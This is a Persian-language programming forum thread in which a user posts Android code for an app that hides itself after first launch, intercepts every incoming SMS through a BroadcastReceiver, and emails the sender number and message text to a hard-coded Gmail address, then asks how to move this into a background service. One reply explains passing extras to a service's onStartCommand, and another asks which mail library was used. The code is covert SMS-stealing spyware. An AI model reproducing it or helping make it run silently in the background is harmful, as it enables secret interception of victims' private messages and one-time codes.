خطا در BroadcastReceiver

گزارش
سوال

لطفا علت گزارش خود را توضیح دهید.

گزارش لغو

سلام من توی برنامم به مشکل برخوردم برنامه من یک MainActivity داره که فقط بار اول نمایش داده میشه و برنامه رو مخفی میکنه…همینطور دارای یک کلاسه که اخرین پیام دریافتی رو دریافت میکنه که از BroadcastReceiver ارث بری میشه..


public class SmsReciever extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Bundle pudsBundle = intent.getExtras();
Object[] pdus = (Object[]) pudsBundle.get(\"pdus\");
SmsMessage messages =SmsMessage.createFromPdu((byte[]) pdus[0]);
// اجرای اکتویتی ایمیل کردن پیامها
Intent smsIntent=new Intent(context,EmailSms.class);
smsIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
smsIntent.putExtra(\"MessageNumber\", messages.getOriginatingAddress());
smsIntent.putExtra(\"Message\", messages.getMessageBody());
context.startActivity(smsIntent);
}}

بعد از اون متغییر ها به یک اکتویتی دیگه انتقال داده میشه ودر این اکتویتی ایمیل میشن…

public class EmailSms extends AppCompatActivity{

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.emailsms);
Bundle extras = getIntent().getExtras();
if (extras != null) {
String shomare= extras.getString(\"MessageNumber\");
String matnpayam = extras.getString(\"Message\");
SendMail sm = new SendMail(this, \"mrm.hack.cod@gmail.com\",shomare,matnpayam);
sm.execute();
}
}
}

حالا من میخواستم اینکارو در یک سرویس انجام بدم که در پس زمینه ارسال فعالیت میکنه اما متاسفانه وقتی کد بالا رو توی سرویس مینویسم getIntent ناشناسه و نمیشه ازش به عنوان دریافت کننده متغییر های ارسالی استفاده کرد…لطفا در صورت ممکن راهنمایی کنید.
با تشکر از سایت خوبتون

حل شده 0
اندروید - android 2 پاسخ 301 بازدید 0

درباره نویسنده

علاقه مند به یادگیری زبان های برنامه نویسی و شبکه

پاسخ ها ( ۲ )

  1. محمد حسین جعفری پور
    0
    ۲۳, مرداد , ۱۳۹۷ در ۵:۲۱ ق.ظ

    لطفا علت گزارش خود را در رابطه با این پاسخ بنویسید.

    گزارش لغو

    سلام و درود
    شما وقتی مقادیر رو پاس دادید به سرویس کافی در بخش onStartCommand از متد getExtras استفاده کنید یعنی به شکل زیر

    در یک بخش ساده می شود کد زیر
    پاس دادن

    گرفتن

    موفق باشید.

    بهترین پاسخ
    0
    ۱۲, شهریور , ۱۳۹۸ در ۱۲:۳۸ ب.ظ

    لطفا علت گزارش خود را در رابطه با این پاسخ بنویسید.

    گزارش لغو

    کتابخونتون چی هست!میشه بگید از کجا دانلود کردید

ارسال نظر